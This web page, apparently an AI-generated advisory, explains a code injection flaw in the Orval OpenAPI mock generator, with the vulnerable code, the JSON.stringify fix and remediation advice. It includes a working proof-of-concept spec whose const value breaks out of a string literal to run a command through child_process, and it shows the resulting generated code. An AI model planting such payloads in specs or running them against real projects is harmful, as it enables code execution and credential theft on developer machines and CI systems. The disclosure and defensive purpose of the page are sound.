CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-F456-RF33-4626

Mocking the Mocker: RCE in Orval via OpenAPI Injection

Alon Barad
Alon Barad
Software Engineer

Feb 15, 2026·6 min read·27 visits

Executive Summary (TL;DR)

Improper handling of the OpenAPI `const` keyword in Orval allowed for code injection during mock generation. Attackers can execute arbitrary code on developer machines by supplying a malicious schema. Fixed in versions 7.20.0 and 8.0.3.

Orval, a popular tool for generating type-safe clients and mocks from OpenAPI specifications, contained a critical code injection vulnerability. By crafting a malicious OpenAPI schema, an attacker could force the generator to inject arbitrary JavaScript into the output files. This means simply importing a spec and running the generator could lead to Remote Code Execution (RCE) on developer machines and CI/CD pipelines.

The Hook: Trusting the Spec

In the modern web development stack, we love automation. We love tools that take a boring configuration file and spit out thousands of lines of boilerplate code so we don't have to. Orval is one of the heavy hitters in this space, specifically for the React/Vue/Svelte ecosystem. You feed it an OpenAPI specification (Swagger), and it generates type-safe query hooks and, crucially for this story, mock service worker (MSW) handlers.

The premise is simple: If your backend team defines the API structure, your frontend team shouldn't have to manually write mocks for testing. Orval reads the schema and generates TypeScript files containing fake data that matches the types.

But here is the catch: Code generators are effectively compilers. They take input (source) and produce executable output (target). If the compiler is naive about the input, it creates a bridge for an attacker to write directly into your codebase. In CVE-2026-24132, that bridge was the seemingly innocent const keyword in the OpenAPI spec.

The Flaw: String Interpolation Hell

The vulnerability lived in packages/mock/src/faker/getters/scalar.ts, inside a function named getMockScalar. This function is responsible for generating a mock value for simple types (strings, numbers, booleans) when the OpenAPI schema defines a specific constant value.

For example, if your schema says a field status must always be "success", Orval wants to generate TypeScript code that sets that property to "success". Ideally, you would do this by serializing the value safely. Orval, however, opted for the "trust me, I'm an engineer" approach of manual string concatenation.

When handling string types, the code effectively did this:

value = `'${item.const}'`;

It literally wrapped the input in single quotes and called it a day. For numbers and booleans, it just concatenated them directly. This is the code generation equivalent of SQL injection. The developer assumed item.const would be a benign string like "hello" or "user". They didn't anticipate that item.const might be a snippet of JavaScript designed to break out of that single-quote prison.

The Code: Before and After

Let's look at the smoking gun. This diff shows exactly how the vulnerability was patched. The original code was trying to manually format the output string, which is almost always a security suicide mission when dealing with user-supplied input.

Vulnerable Code (The "Before"):

// packages/mock/src/faker/getters/scalar.ts
 
if (item.const) {
  if (isString) {
    // 🚨 DANGER: Direct interpolation
    return `'${item.const}'`;
  }
  // 🚨 DANGER: Direct concatenation for other types
  return '' + item.const;
}

Fixed Code (The "After"):

// packages/mock/src/faker/getters/scalar.ts
 
if (item.const) {
  // ✅ SAFE: Let JSON.stringify handle escaping
  return JSON.stringify(item.const);
}

The fix is elegantly simple: JSON.stringify(). This standard function handles quoting, escaping special characters (like newlines or existing quotes), and ensures the output is a valid JavaScript literal. If you pass it a string containing a quote, it escapes it (\"). If you pass it a number, it stays a number. The vulnerability existed solely because the generator tried to reinvent the wheel of serialization.

The Exploit: Breaking Out

So, how do we turn a bad string concatenation into Remote Code Execution? We need to provide an OpenAPI specification where a const value breaks the JavaScript syntax of the generated file.

Imagine an attacker convinces a developer to use a malicious openapi.yaml. Maybe it's a pull request to a shared repo, or a compromised remote spec URL.

The Malicious Spec:

openapi: 3.0.0
info:
  title: Pwned API
  version: 1.0.0
paths: {}
components:
  schemas:
    TrojanHorse:
      type: object
      properties:
        status:
          type: string
          # The Injection Payload:
          const: "'); require('child_process').execSync('calc'); //"

The Generated Code:

When Orval runs, it takes that const string and wraps it in quotes. The resulting TypeScript file looks like this:

export const getTrojanHorseMock = () => ({
  // The generated line:
  status: ''); require('child_process').execSync('calc'); //'
});

Let's break that down:

  1. status: ' starts the string assignment.
  2. '); closes the string and the object definition immediately.
  3. require('child_process').execSync('calc'); executes the attacker's command (popping a calculator, or stealing SSH keys).
  4. //' comments out the trailing quote that Orval added, preventing a syntax error.

The next time the developer runs their tests or starts their mock server, the code executes. Game over.

The Impact: Why Panic?

This isn't a vulnerability in the production application; it's a vulnerability in the development lifecycle. This is arguably more dangerous because developer machines often have elevated privileges: SSH keys to production, AWS credentials in ~/.aws/credentials, and write access to the source code repo.

Furthermore, this attack works beautifully in CI/CD pipelines. If your pipeline creates a build environment, pulls the latest specs, generates the client/mocks, and runs tests, the attacker has achieved code execution inside your build agent. They can dump environment variables (secrets) and send them to a remote server before the build even fails.

Because this happens at generation time (or rather, execution-of-generated-code time), standard application firewalls (WAFs) protecting your production API won't save you here. The attack payload enters via a YAML file, not an HTTP request to your app.

The Fix: JSON.stringify Everything

The remediation is straightforward: Update Orval. If you are on the v7 branch, move to 7.20.0. If you are living on the edge with v8, update to 8.0.3.

If you cannot update immediately, you must strictly validate the OpenAPI specifications you consume. Do not pull specs from untrusted URLs or allow external contributors to modify the spec file without manual review of the const fields.

For tool authors reading this: Never build code by concatenating strings. Always use an Abstract Syntax Tree (AST) builder (like ts-morph or babel/types) or, at the very least, standard serialization functions like JSON.stringify to generate literals. Code generation is hard; secure code generation is harder.

Official Patches

GitHubPatch for version 8.x
GitHubPatch for version 7.x

Fix Analysis (2)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.09%
Top 74% most exploited

Affected Systems

Developer WorkstationsCI/CD PipelinesTest Environments running Orval mocks

Affected Versions Detail

Product
Affected Versions
Fixed Version
orval
orval-labs
<= 7.19.07.20.0
orval
orval-labs
>= 8.0.0-rc.0, <= 8.0.28.0.3
AttributeDetail
CWE IDCWE-94 (Improper Control of Generation of Code)
CVSS v4.07.7 (High)
Attack VectorNetwork (Malicious Spec File)
ImpactRemote Code Execution (RCE)
Affected Component@orval/mock (getMockScalar)
Exploit StatusProof-of-Concept Available

MITRE ATT&CK Mapping

T1195Supply Chain Compromise
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-94
Improper Control of Generation of Code ('Code Injection')

The product constructs code using externally-influenced input without properly neutralizing special elements that could modify the syntax or behavior of the generated code.

Known Exploits & Detection

GitHub AdvisoryPrimary disclosure containing the PoC payload methodology.

Vulnerability Timeline

Vulnerability Reported and Fixed in PRs
2026-01-22
CVE-2026-24132 Published
2026-01-23
Patched versions 7.20.0 and 8.0.3 Released
2026-01-23

References & Sources

  • [1]GHSA-f456-rf33-4626 Advisory
  • [2]NVD CVE-2026-24132
Related Vulnerabilities
CVE-2026-24132

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 21 hours ago•GHSA-7PPR-R889-MCF2
7.5

GHSA-7PPR-R889-MCF2: Unbounded WebSocket Message Aggregation in http4s-blaze-server leads to Denial of Service

An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.

Alon Barad
Alon Barad
6 views•5 min read
•about 22 hours ago•GHSA-95CV-R8X4-VH75
7.6

GHSA-95cv-r8x4-vh75: Path Traversal Vulnerability in OpenList Batch Rename Handler

A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.

Amit Schendel
Amit Schendel
7 views•7 min read
•about 23 hours ago•GHSA-P6PH-3JX2-3337
4.3

GHSA-P6PH-3JX2-3337: Horizontal Privilege Escalation and Metadata Information Disclosure via Bleve Search in OpenList

OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.

Amit Schendel
Amit Schendel
7 views•5 min read
•1 day ago•GHSA-86CX-WWF4-PHQ4
6.5

GHSA-86cx-wwf4-phq4: Path Prefix Confusion Authorization Bypass in OpenList

An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.

Amit Schendel
Amit Schendel
6 views•6 min read
•1 day ago•CVE-2026-16584
7.0

CVE-2026-16584: Security Policy Bypass in AWS API MCP Server via Startup Initialization Failure

A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.

Amit Schendel
Amit Schendel
8 views•7 min read
•1 day ago•GHSA-6V4M-FW66-8R4X
6.5

GHSA-6V4M-FW66-8R4X: Path Disclosure and Shell Expansion Bypass in Shescape

An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.

Alon Barad
Alon Barad
6 views•7 min read